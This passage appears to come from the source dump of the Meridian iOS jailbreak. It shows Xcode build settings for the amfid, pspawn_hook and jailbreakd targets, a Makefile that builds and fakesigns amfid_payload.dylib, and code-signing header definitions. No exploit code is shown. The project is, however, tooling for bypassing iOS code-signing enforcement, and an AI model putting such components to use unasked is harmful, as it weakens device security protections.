PBXContainerItemProxy */;\n\t\t};\n/* End PBXTargetDependency section */\n\n/* Begin PBXVariantGroup section */\n\t\tB514CC7F1FECD788005F4E6B /* Main.storyboard */ = {\n\t\t\tisa = PBXVariantGroup;\n\t\t\tchildren = (\n\t\t\t\tB514CC801FECD788005F4E6B /* Base */,\n\t\t\t);\n\t\t\tname = Main.storyboard;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tB514CC841FECD788005F4E6B /* LaunchScreen.storyboard */ = {\n\t\t\tisa = PBXVariantGroup;\n\t\t\tchildren = (\n\t\t\t\tB514CC851FECD788005F4E6B /* Base */,\n\t\t\t);\n\t\t\tname = LaunchScreen.storyboard;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n/* End PBXVariantGroup section */\n\n/* Begin XCBuildConfiguration section */\n\t\tB514CC8A1FECD788005F4E6B /* Debug */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tALWAYS_SEARCH_USER_PATHS = NO;\n\t\t\t\tCLANG_ANALYZER_NONNULL = YES;\n\t\t\t\tCLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;\n\t\t\t\tCLANG_CXX_LANGUAGE_STANDARD = \"gnu++14\";\n\t\t\t\tCLANG_CXX_LIBRARY = \"libc++\";\n\t\t\t\tCLANG_ENABLE_MODULES = YES;\n\t\t\t\tCLANG_ENABLE_OBJC_ARC = YES;\n\t\t\t\tCLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;\n\t\t\t\tCLANG_WARN_BOOL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_COMMA = YES;\n\t\t\t\tCLANG_WARN_CONSTANT_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;\n\t\t\t\tCLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;\n\t\t\t\tCLANG_WARN_DOCUMENTATION_COMMENTS = YES;\n\t\t\t\tCLANG_WARN_EMPTY_BODY = YES;\n\t\t\t\tCLANG_WARN_ENUM_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_INFINITE_RECURSION = YES;\n\t\t\t\tCLANG_WARN_INT_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;\n\t\t\t\tCLANG_WARN_OBJC_LITERAL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;\n\t\t\t\tCLANG_WARN_RANGE_LOOP_ANALYSIS = YES;\n\t\t\t\tCLANG_WARN_STRICT_PROTOTYPES = YES;\n\t\t\t\tCLANG_WARN_SUSPICIOUS_MOVE = YES;\n\t\t\t\tCLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;\n\t\t\t\tCLANG_WARN_UNREACHABLE_CODE = YES;\n\t\t\t\tCLANG_WARN__DUPLICATE_METHOD_MATCH = YES;\n\t\t\t\tCODE_SIGN_IDENTITY = \"iPhone Developer\";\n\t\t\t\tCOPY_PHASE_STRIP = NO;\n\t\t\t\tDEBUG_INFORMATION_FORMAT = dwarf;\n\t\t\t\tENABLE_STRICT_OBJC_MSGSEND = YES;\n\t\t\t\tENABLE_TESTABILITY = YES;\n\t\t\t\tGCC_C_LANGUAGE_STANDARD = gnu11;\n\t\t\t\tGCC_DYNAMIC_NO_PIC = NO;\n\t\t\t\tGCC_NO_COMMON_BLOCKS = YES;\n\t\t\t\tGCC_OPTIMIZATION_LEVEL = 0;\n\t\t\t\tGCC_PREPROCESSOR_DEFINITIONS = (\n\t\t\t\t\t\"DEBUG=1\",\n\t\t\t\t\t\"$(inherited)\",\n\t\t\t\t);\n\t\t\t\tGCC_WARN_64_TO_32_BIT_CONVERSION = YES;\n\t\t\t\tGCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;\n\t\t\t\tGCC_WARN_UNDECLARED_SELECTOR = YES;\n\t\t\t\tGCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;\n\t\t\t\tGCC_WARN_UNUSED_FUNCTION = YES;\n\t\t\t\tGCC_WARN_UNUSED_VARIABLE = YES;\n\t\t\t\tIPHONEOS_DEPLOYMENT_TARGET = 10.0;\n\t\t\t\tMTL_ENABLE_DEBUG_INFO = YES;\n\t\t\t\tONLY_ACTIVE_ARCH = YES;\n\t\t\t\tSDKROOT = iphoneos;\n\t\t\t\tVALID_ARCHS = arm64;\n\t\t\t};\n\t\t\tname = Debug;\n\t\t};\n\t\tB514CC8B1FECD788005F4E6B /* Release */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tALWAYS_SEARCH_USER_PATHS = NO;\n\t\t\t\tCLANG_ANALYZER_NONNULL = YES;\n\t\t\t\tCLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;\n\t\t\t\tCLANG_CXX_LANGUAGE_STANDARD = \"gnu++14\";\n\t\t\t\tCLANG_CXX_LIBRARY = \"libc++\";\n\t\t\t\tCLANG_ENABLE_MODULES = YES;\n\t\t\t\tCLANG_ENABLE_OBJC_ARC = YES;\n\t\t\t\tCLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;\n\t\t\t\tCLANG_WARN_BOOL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_COMMA = YES;\n\t\t\t\tCLANG_WARN_CONSTANT_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;\n\t\t\t\tCLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;\n\t\t\t\tCLANG_WARN_DOCUMENTATION_COMMENTS = YES;\n\t\t\t\tCLANG_WARN_EMPTY_BODY = YES;\n\t\t\t\tCLANG_WARN_ENUM_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_INFINITE_RECURSION = YES;\n\t\t\t\tCLANG_WARN_INT_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;\n\t\t\t\tCLANG_WARN_OBJC_LITERAL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;\n\t\t\t\tCLANG_WARN_RANGE_LOOP_ANALYSIS = YES;\n\t\t\t\tCLANG_WARN_STRICT_PROTOTYPES = YES;\n\t\t\t\tCLANG_WARN_SUSPICIOUS_MOVE = YES;\n\t\t\t\tCLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;\n\t\t\t\tCLANG_WARN_UNREACHABLE_CODE = YES;\n\t\t\t\tCLANG_WARN__DUPLICATE_METHOD_MATCH = YES;\n\t\t\t\tCODE_SIGN_IDENTITY = \"iPhone Developer\";\n\t\t\t\tCOPY_PHASE_STRIP = NO;\n\t\t\t\tDEBUG_INFORMATION_FORMAT = \"dwarf-with-dsym\";\n\t\t\t\tENABLE_NS_ASSERTIONS = NO;\n\t\t\t\tENABLE_STRICT_OBJC_MSGSEND = YES;\n\t\t\t\tGCC_C_LANGUAGE_STANDARD = gnu11;\n\t\t\t\tGCC_NO_COMMON_BLOCKS = YES;\n\t\t\t\tGCC_WARN_64_TO_32_BIT_CONVERSION = YES;\n\t\t\t\tGCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;\n\t\t\t\tGCC_WARN_UNDECLARED_SELECTOR = YES;\n\t\t\t\tGCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;\n\t\t\t\tGCC_WARN_UNUSED_FUNCTION = YES;\n\t\t\t\tGCC_WARN_UNUSED_VARIABLE = YES;\n\t\t\t\tIPHONEOS_DEPLOYMENT_TARGET = 10.0;\n\t\t\t\tMTL_ENABLE_DEBUG_INFO = NO;\n\t\t\t\tSDKROOT = iphoneos;\n\t\t\t\tVALIDATE_PRODUCT = YES;\n\t\t\t\tVALID_ARCHS = arm64;\n\t\t\t};\n\t\t\tname = Release;\n\t\t};\n\t\tB514CC8D1FECD788005F4E6B /* Debug */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tASSETCATALOG_COMPILER_APPICON_NAME = \"AppIcon-Blue\";\n\t\t\t\tCODE_SIGN_IDENTITY = \"iPhone Developer\";\n\t\t\t\t\"CODE_SIGN_IDENTITY[sdk=iphoneos*]\" = \"iPhone Developer\";\n\t\t\t\tCODE_SIGN_STYLE = Automatic;\n\t\t\t\tDEVELOPMENT_TEAM = V7798YDA5P;\n\t\t\t\tENABLE_BITCODE = NO;\n\t\t\t\tGCC_NO_COMMON_BLOCKS = NO;\n\t\t\t\tINFOPLIST_FILE = \"$(SRCROOT)/Meridian/views/Info.plist\";\n\t\t\t\tIPHONEOS_DEPLOYMENT_TARGET = 10.0;\n\t\t\t\tLD_RUNPATH_SEARCH_PATHS = \"$(inherited) @executable_path/Frameworks\";\n\t\t\t\tLIBRARY_SEARCH_PATHS = (\n\t\t\t\t\t\"$(inherited)\",\n\t\t\t\t\t\"$(PROJECT_DIR)/Meridian\",\n\t\t\t\t\t\"$(SYSTEM_LIBRARY_DIR)/Frameworks/IOKit.framework/Versions/A\",\n\t\t\t\t\t\"$(PROJECT_DIR)\",\n\t\t\t\t);\n\t\t\t\tONLY_ACTIVE_ARCH = YES;\n\t\t\t\tPRODUCT_BUNDLE_IDENTIFIER = zone.sparkes.MeridianJB2;\n\t\t\t\tPRODUCT_NAME = \"$(TARGET_NAME)\";\n\t\t\t\tPROVISIONING_PROFILE_SPECIFIER = \"\";\n\t\t\t\tSDKROOT = iphoneos;\n\t\t\t\tTARGETED_DEVICE_FAMILY = \"1,2\";\n\t\t\t\tVALID_ARCHS = arm64;\n\t\t\t};\n\t\t\tname = Debug;\n\t\t};\n\t\tB514CC8E1FECD788005F4E6B /* Release */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tASSETCATALOG_COMPILER_APPICON_NAME = \"AppIcon-Blue\";\n\t\t\t\tCODE_SIGN_IDENTITY = \"iPhone Developer\";\n\t\t\t\t\"CODE_SIGN_IDENTITY[sdk=iphoneos*]\" = \"iPhone Developer\";\n\t\t\t\tCODE_SIGN_STYLE = Automatic;\n\t\t\t\tDEVELOPMENT_TEAM = V7798YDA5P;\n\t\t\t\tENABLE_BITCODE = NO;\n\t\t\t\tGCC_NO_COMMON_BLOCKS = NO;\n\t\t\t\tINFOPLIST_FILE = \"$(SRCROOT)/Meridian/views/Info.plist\";\n\t\t\t\tIPHONEOS_DEPLOYMENT_TARGET = 10.0;\n\t\t\t\tLD_RUNPATH_SEARCH_PATHS = \"$(inherited) @executable_path/Frameworks\";\n\t\t\t\tLIBRARY_SEARCH_PATHS = (\n\t\t\t\t\t\"$(inherited)\",\n\t\t\t\t\t\"$(PROJECT_DIR)/Meridian\",\n\t\t\t\t\t\"$(SYSTEM_LIBRARY_DIR)/Frameworks/IOKit.framework/Versions/A\",\n\t\t\t\t\t\"$(PROJECT_DIR)\",\n\t\t\t\t);\n\t\t\t\tPRODUCT_BUNDLE_IDENTIFIER = zone.sparkes.MeridianJB2;\n\t\t\t\tPRODUCT_NAME = \"$(TARGET_NAME)\";\n\t\t\t\tPROVISIONING_PROFILE_SPECIFIER = \"\";\n\t\t\t\tSDKROOT = iphoneos;\n\t\t\t\tTARGETED_DEVICE_FAMILY = \"1,2\";\n\t\t\t\tVALID_ARCHS = arm64;\n\t\t\t};\n\t\t\tname = Release;\n\t\t};\n\t\tB5555EA8205438CA00D62F57 /* Debug */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tCODE_SIGN_STYLE = Automatic;\n\t\t\t\tDEBUGGING_SYMBOLS = YES;\n\t\t\t\tDEBUG_INFORMATION_FORMAT = dwarf;\n\t\t\t\tDEVELOPMENT_TEAM = 6EKJWC698P;\n\t\t\t\tGCC_GENERATE_DEBUGGING_SYMBOLS = YES;\n\t\t\t\tGCC_OPTIMIZATION_LEVEL = 0;\n\t\t\t\tOTHER_CFLAGS = \"\";\n\t\t\t\tOTHER_LDFLAGS = \"\";\n\t\t\t\tPRODUCT_NAME = \"$(TARGET_NAME)\";\n\t\t\t\tVALID_ARCHS = \"arm64,armv7,armv7s\";\n\t\t\t};\n\t\t\tname = Debug;\n\t\t};\n\t\tB5555EA9205438CA00D62F57 /* Release */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tCODE_SIGN_STYLE = Automatic;\n\t\t\t\tDEBUG_INFORMATION_FORMAT = \"dwarf-with-dsym\";\n\t\t\t\tDEVELOPMENT_TEAM = 6EKJWC698P;\n\t\t\t\tOTHER_CFLAGS = \"\";\n\t\t\t\tOTHER_LDFLAGS = \"\";\n\t\t\t\tPRODUCT_NAME = \"$(TARGET_NAME)\";\n\t\t\t\tVALID_ARCHS = \"arm64,armv7,armv7s\";\n\t\t\t};\n\t\t\tname = Release;\n\t\t};\n\t\tB5555EB0205438F300D62F57 /* Debug */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tCODE_SIGN_STYLE = Automatic;\n\t\t\t\tDEBUGGING_SYMBOLS = YES;\n\t\t\t\tDEBUG_INFORMATION_FORMAT = dwarf;\n\t\t\t\tDEVELOPMENT_TEAM = 6EKJWC698P;\n\t\t\t\tGCC_GENERATE_DEBUGGING_SYMBOLS = YES;\n\t\t\t\tGCC_OPTIMIZATION_LEVEL = 0;\n\t\t\t\tOTHER_CFLAGS = \"\";\n\t\t\t\tOTHER_LDFLAGS = \"\";\n\t\t\t\tPRODUCT_NAME = \"$(TARGET_NAME)\";\n\t\t\t\tVALID_ARCHS = \"arm64,armv7,armv7s\";\n\t\t\t};\n\t\t\tname = Debug;\n\t\t};\n\t\tB5555EB1205438F300D62F57 /* Release */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tCODE_SIGN_STYLE = Automatic;\n\t\t\t\tDEBUG_INFORMATION_FORMAT = \"dwarf-with-dsym\";\n\t\t\t\tDEVELOPMENT_TEAM = 6EKJWC698P;\n\t\t\t\tOTHER_CFLAGS = \"\";\n\t\t\t\tOTHER_LDFLAGS = \"\";\n\t\t\t\tPRODUCT_NAME = \"$(TARGET_NAME)\";\n\t\t\t\tVALID_ARCHS = \"arm64,armv7,armv7s\";\n\t\t\t};\n\t\t\tname = Release;\n\t\t};\n\t\tB5555EB42054390100D62F57 /* Debug */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tCODE_SIGN_STYLE = Automatic;\n\t\t\t\tDEBUGGING_SYMBOLS = YES;\n\t\t\t\tDEBUG_INFORMATION_FORMAT = dwarf;\n\t\t\t\tDEVELOPMENT_TEAM = 6EKJWC698P;\n\t\t\t\tGCC_GENERATE_DEBUGGING_SYMBOLS = YES;\n\t\t\t\tGCC_OPTIMIZATION_LEVEL = 0;\n\t\t\t\tOTHER_CFLAGS = \"\";\n\t\t\t\tOTHER_LDFLAGS = \"\";\n\t\t\t\tPRODUCT_NAME = \"$(TARGET_NAME)\";\n\t\t\t\tVALID_ARCHS = \"arm64,armv7,armv7s\";\n\t\t\t};\n\t\t\tname = Debug;\n\t\t};\n\t\tB5555EB52054390100D62F57 /* Release */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tCODE_SIGN_STYLE = Automatic;\n\t\t\t\tDEBUG_INFORMATION_FORMAT = \"dwarf-with-dsym\";\n\t\t\t\tDEVELOPMENT_TEAM = 6EKJWC698P;\n\t\t\t\tOTHER_CFLAGS = \"\";\n\t\t\t\tOTHER_LDFLAGS = \"\";\n\t\t\t\tPRODUCT_NAME = \"$(TARGET_NAME)\";\n\t\t\t\tVALID_ARCHS = \"arm64,armv7,armv7s\";\n\t\t\t};\n\t\t\tname = Release;\n\t\t};\n/* End XCBuildConfiguration section */\n\n/* Begin XCConfigurationList section */\n\t\tB514CC711FECD787005F4E6B /* Build configuration list for PBXProject \"Meridian\" */ = {\n\t\t\tisa = XCConfigurationList;\n\t\t\tbuildConfigurations = (\n\t\t\t\tB514CC8A1FECD788005F4E6B /* Debug */,\n\t\t\t\tB514CC8B1FECD788005F4E6B /* Release */,\n\t\t\t);\n\t\t\tdefaultConfigurationIsVisible = 0;\n\t\t\tdefaultConfigurationName = Release;\n\t\t};\n\t\tB514CC8C1FECD788005F4E6B /* Build configuration list for PBXNativeTarget \"Meridian\" */ = {\n\t\t\tisa = XCConfigurationList;\n\t\t\tbuildConfigurations = (\n\t\t\t\tB514CC8D1FECD788005F4E6B /* Debug */,\n\t\t\t\tB514CC8E1FECD788005F4E6B /* Release */,\n\t\t\t);\n\t\t\tdefaultConfigurationIsVisible = 0;\n\t\t\tdefaultConfigurationName = Release;\n\t\t};\n\t\tB5555EA7205438CA00D62F57 /* Build configuration list for PBXLegacyTarget \"amfid\" */ = {\n\t\t\tisa = XCConfigurationList;\n\t\t\tbuildConfigurations = (\n\t\t\t\tB5555EA8205438CA00D62F57 /* Debug */,\n\t\t\t\tB5555EA9205438CA00D62F57 /* Release */,\n\t\t\t);\n\t\t\tdefaultConfigurationIsVisible = 0;\n\t\t\tdefaultConfigurationName = Release;\n\t\t};\n\t\tB5555EAF205438F300D62F57 /* Build configuration list for PBXLegacyTarget \"pspawn_hook\" */ = {\n\t\t\tisa = XCConfigurationList;\n\t\t\tbuildConfigurations = (\n\t\t\t\tB5555EB0205438F300D62F57 /* Debug */,\n\t\t\t\tB5555EB1205438F300D62F57 /* Release */,\n\t\t\t);\n\t\t\tdefaultConfigurationIsVisible = 0;\n\t\t\tdefaultConfigurationName = Release;\n\t\t};\n\t\tB5555EB32054390100D62F57 /* Build configuration list for PBXLegacyTarget \"jailbreakd\" */ = {\n\t\t\tisa = XCConfigurationList;\n\t\t\tbuildConfigurations = (\n\t\t\t\tB5555EB42054390100D62F57 /* Debug */,\n\t\t\t\tB5555EB52054390100D62F57 /* Release */,\n\t\t\t);\n\t\t\tdefaultConfigurationIsVisible = 0;\n\t\t\tdefaultConfigurationName = Release;\n\t\t};\n/* End XCConfigurationList section */\n\t};\n\trootObject = B514CC6E1FECD787005F4E6B /* Project object */;\n}\n"
  },
  {
    "path": "Meridian/Meridian.xcodeproj/project.xcworkspace/contents.xcworkspacedata",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Workspace\n   version = \"1.0\">\n   <FileRef\n      location = \"self:Meridian.xcodeproj\">\n   </FileRef>\n</Workspace>\n"
  },
  {
    "path": "Meridian/Meridian.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n\t<key>IDEDidComputeMac32BitWarning</key>\n\t<true/>\n</dict>\n</plist>\n"
  },
  {
    "path": "Meridian/Meridian.xcodeproj/project.xcworkspace/xcshareddata/WorkspaceSettings.xcsettings",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict/>\n</plist>\n"
  },
  {
    "path": "Meridian/amfid/Makefile",
    "content": "TARGET  = amfid_payload.dylib\nOUTDIR ?= bin\nSRC     = $(wildcard *.c) $(wildcard *.m) $(wildcard */*.c) $(wildcard */*.m)\n\nCC      = xcrun -sdk iphoneos gcc -arch arm64\nLDID    = ldid\nCFLAGS  = -dynamiclib -I. -I./helpers -framework Foundation -framework IOKit -lc++\n\nall: $(OUTDIR)/$(TARGET)\n\n$(OUTDIR):\n\tmkdir -p $(OUTDIR)\n\n$(OUTDIR)/$(TARGET): $(SRC) | $(OUTDIR)\n\t$(CC) $(CFLAGS) -o $@ $^\n\t$(LDID) -S $@\n\ninstall: all\n\nclean:\n\trm -rf $(OUTDIR)\n"
  },
  {
    "path": "Meridian/amfid/common.h",
    "content": "\n#define CACHED_FIND(type, name) \\\n    type __##name(void);                \\\n    type name(void) {                   \\\n        type cached = 0;                \\\n        if (cached == 0) {              \\\n            cached = __##name();        \\\n        }                               \\\n        return cached;                  \\\n    }                                   \\\n    type __##name(void)\n"
  },
  {
    "path": "Meridian/amfid/cs_blobs.h",
    "content": "// credits @stek29 - https://github.com/stek29/electra/blob/amfid_fix/basebinaries/amfid_payload/\n// from: xnu osfmk/kern/cs_blobs.h\n\n#define CS_VALID                    0x0000001    /* dynamically valid */\n#define CS_ADHOC                    0x0000002    /* ad hoc signed */\n#define CS_GET_TASK_ALLOW           0x0000004    /* has get-task-allow entitlement */\n#define CS_INSTALLER                0x0000008    /* has installer entitlement */\n\n#define CS_HARD                     0x0000100    /* don't load invalid pages */\n#define CS_KILL                     0x0000200    /* kill process if it becomes invalid */\n#define CS_CHECK_EXPIRATION         0x0000400    /* force expiration checking */\n#define CS_RESTRICT                 0x0000800    /* tell dyld to treat restricted */\n#define CS_ENFORCEMENT              0x0001000    /* require enforcement */\n#define CS_REQUIRE_LV               0x0002000    /* require library validation */\n#define CS_ENTITLEMENTS_VALIDATED   0x0004000    /* code signature permits restricted entitlements */\n\n#define CS_ALLOWED_MACHO    (CS_ADHOC | CS_HARD | CS_KILL | CS_CHECK_EXPIRATION | CS_RESTRICT | CS_ENFORCEMENT | CS_REQUIRE_LV)\n\n#define CS_EXEC_SET_HARD            0x0100000    /* set CS_HARD on any exec'ed process */\n#define CS_EXEC_SET_KILL            0x0200000    /* set CS_KILL on any exec'ed process */\n#define CS_EXEC_SET_ENFORCEMENT     0x0400000    /* set CS_ENFORCEMENT on any exec'ed process */\n#define CS_EXEC_SET_INSTALLER       0x0800000    /* set CS_INSTALLER on any exec'ed process */\n\n#define CS_KILLED                   0x1000000    /* was killed by kernel for invalidity */\n#define CS_DYLD_PLATFORM            0x2000000    /* dyld used to load this is a platform binary */\n#define CS_PLATFORM_BINARY          0x4000000    /* this is a platform binary */\n#define CS_PLATFORM_PATH            0x8000000    /* platform binary by the fact of path (osx only) */\n#define CS_DEBUGGED                 0x10000000   /* process is currently or has previously been debugged and allowed to run with invalid pages */\n#define CS_SIGNED                   0x20000000   /* process has a signature (may have gone invalid) */\n#define CS_DEV_CODE                 0x40000000   /* code is dev signed, cannot be loaded into prod signed code (will go away with rdar://problem/28322552) */\n\n#define CS_ENTITLEMENT_FLAGS    (CS_GET_TASK_ALLOW | CS_INSTALLER)\n\ntypedef struct __attribute__((packed)) {\n    uint32_t magic;                 /* magic number (CSMAGIC_CODEDIRECTORY) */\n    uint32_t length;                /* total length of CodeDirectory blob */\n    uint32_t version;               /* compatibility version */\n    uint32_t flags;                 /* setup and mode flags */\n    uint32_t hashOffset;            /* offset of hash slot element at index zero */\n    uint32_t identOffset;           /* offset of identifier string */\n    uint32_t nSpecialSlots;         /* number of special hash slots */\n    uint32_t nCodeSlots;            /* number of ordinary (code) hash slots */\n    uint32_t codeLimit;             /* limit to main image signature range */\n    uint8_t hashSize;               /* size of each hash in bytes */\n    uint8_t hashType;               /* type of hash (cdHashType* constants) */\n    uint8_t platform;               /* platform identifier; zero if not platform binary */\n    uint8_t pageSize;               /* log2(page size in bytes); 0 => infinite */\n    uint32_t spare2;                /* unused (must be zero) */\n\n    char end_earliest[0];\n\n    /* Version 0x20100 */\n    uint32_t scatterOffset;         /* offset of optional scatter vector */\n    char end_withScatter[0];\n\n    /* Version 0x20200 */\n    uint32_t teamOffset;            /* offset of optional team identifier */\n    char end_withTeam[0];\n\n    /* Version 0x20300 */\n    uint32_t spare3;                /* unused (must be zero) */\n    uint64_t codeLimit64;           /* limit to main image signature range, 64 bits */\n    char end_withCodeLimit64[0];\n\n    /* Version 0x20400 */\n    uint64_t execSegBase;           /* offset of executable segment */\n    uint64_t execSegLimit;          /* limit of executable segment */\n    uint64_t execSegFlags;          /* executable segment flags */\n    char end_withExecSeg[0];\n} CS_CodeDirectory;\n\ntypedef struct __attribute__((packed)) {\n    uint32_t type;                  /* type of entry */\n    uint32_t offset;                /* offset of entry */\n} CS_BlobIndex;\n\ntypedef struct __attribute__((packed)) {\n    uint32_t magic;                 /* magic number */\n    uint32_t length;                /* total length of SuperBlob */\n    uint32_t count;                 /* number of index entries following */\n    CS_BlobIndex index[];           /* (count) entries */\n    /* followed by Blobs in no particular order as indicated by offsets in index */\n} CS_SuperBlob;\n\ntypedef struct __attribute__((packed)) {\n    uint32_t magic;                 /* magic number */\n    uint32_t length;                /* total length of blob */\n    char data[];\n} CS_GenericBlob;\n\ntypedef struct __SC_Scatter {\n    uint32_t count;            // number of pages; zero for sentinel (only)\n    uint32_t base;            // first page number\n    uint64_t targetOffset;        // offset in target\n    uint64_t spare;            // reserved\n} SC_Scatter;\n\n/*\n * Magic numbers used by Code Signing\n */\nenum {\n    CSMAGIC_REQUIREMENT = 0xfade0c00,               /* single Requirement blob */\n    CSMAGIC_REQUIREMENTS = 0xfade0c01,              /* Requirements vector (internal requirements) */\n    CSMAGIC_CODEDIRECTORY = 0xfade0c02,             /* CodeDirectory blob */\n    CSMAGIC_EMBEDDED_SIGNATURE = 0xfade0cc0,        /* embedded form of signature data */\n    CSMAGIC_EMBEDDED_SIGNATURE_OLD = 0xfade0b02,    /* XXX */\n    CSMAGIC_EMBEDDED_ENTITLEMENTS = 0xfade7171,     /* embedded entitlements */\n    CSMAGIC_DETACHED_SIGNATURE = 0xfade0cc1,        /* multi-arch collection of embedded signatures */\n    CSMAGIC_BLOBWRAPPER = 0xfade0b01,               /* CMS Signature, among other things */\n\n    CS_SUPPORTSSCATTER = 0x20100,\n    CS_SUPPORTSTEAMID = 0x20200,\n    CS_SUPPORTSCODELIMIT64 = 0x20300,\n    CS_SUPPORTSEXECSEG = 0x20400,\n\n    CSSLOT_CODEDIRECTORY = 0,                       /* slot index for CodeDirectory */\n    CSSLOT_INFOSLOT = 1,\n    CSSLOT_REQUIREMENTS = 2,\n    CSSLOT_RESOURCEDIR = 3,\n    CSSLOT_APPLICATION = 4,\n    CSSLOT_ENTITLEMENTS = 5,\n\n    CSSLOT_ALTERNATE_CODEDIRECTORIES = 0x1000,      /* first alternate CodeDirectory, if any */\n    CSSLOT_ALTERNATE_CODEDIRECTORY_MAX = 5,         /* max number of alternate CD slots */\n    CSSLOT_ALTERNATE_CODEDIRECTORY_LIMIT =          /* one past the last */\n       CSSLOT_ALTERNATE_CODEDIRECTORIES +\n       CSSLOT_ALTERNATE_CODEDIRECTORY_MAX,\n\n    CSSLOT_SIGNATURESLOT = 0x10000,                 /* CMS Signature */\n\n    CSTYPE_INDEX_REQUIREMENTS = 0x00000002,         /* compat with amfi */\n    CSTYPE_INDEX_ENTITLEMENTS = 0x00000005,         /* compat with amfi */\n\n    CS_HASHTYPE_SHA1 = 1,\n    CS_HASHTYPE_SHA256 = 2,\n    CS_HASHTYPE_SHA256_TRUNCATED = 3,\n    CS_HASHTYPE_SHA384 = 4,\n\n    CS_SHA1_LEN = 20,\n    CS_SHA256_LEN = 32,\n    CS_SHA256_TRUNCATED_LEN = 20,\n\n    CS_CDHASH_LEN = 20,                             /* always - larger hashes are truncated */\n    CS_HASH_MAX_SIZE = 48,                          /* max size of the hash we'll support */\n\n    /*\n     * Currently only to support Legacy VPN plugins,\n     * but intended to replace all the various platform code, dev code etc. bits.\n     */\n    CS_SIGNER_TYPE_UNKNOWN = 0,\n    CS_SIGNER_TYPE_LEGACYVPN = 5,\n};\n\n/*\n * Choose among different hash algorithms.\n * Higher is better, 0 => don't use at all.\n */\nstatic const uint32_t hashPriorities[] = {\n    CS_HASHTYPE_SHA1,\n    CS_HASHTYPE_SHA256_TRUNCATED,\n    CS_HASHTYPE_SHA256,\n    CS_HASHTYPE_SHA384,\n};\n"
  },
  {
    "path": "Meridian/amfid/cs_dingling.h",
    "content": "#include <stdlib.h>\n#include \"cs_blobs.h\"\n\n#define LOG(str, args...) do { NSLog(@\"[amfid_payload] \" str, ##args); } while(0)\n#define ERROR(str, args...) LOG(\"ERROR: [%s] \" str, __func__, ##args)\n#define INFO(str, args...)  LOG(\"INFO: \" str, ##args)\n\ntypedef struct {\n    const char *name;\n    uint64_t file_off;\n    int fd;\n    const void *addr;\n    size_t size;\n} img_info_t;\n\nconst void *find_code_signature(img_info_t *info, uint32_t *cs_size);\n\nint find_best_codedir(const void *csblob,\n                      uint32_t csblob_size,\n                      const CS_CodeDirectory **chosen_cd,\n                      uint32_t *csb_offset,\n                      const CS_GenericBlob **entitlements);\n\nint hash_code_directory(const CS_CodeDirectory *directory, uint8_t hash[CS_CDHASH_LEN]);\n\nstatic unsigned int hash_rank(const CS_CodeDirectory *cd);\n\nconst char *get_hash_name(uint8_t hash_type);\n\nint open_img(img_info_t* info);\nvoid close_img(img_info_t* info);\n"
  },
  {
    "path": "Meridian/amfid/cs_dingling.m",
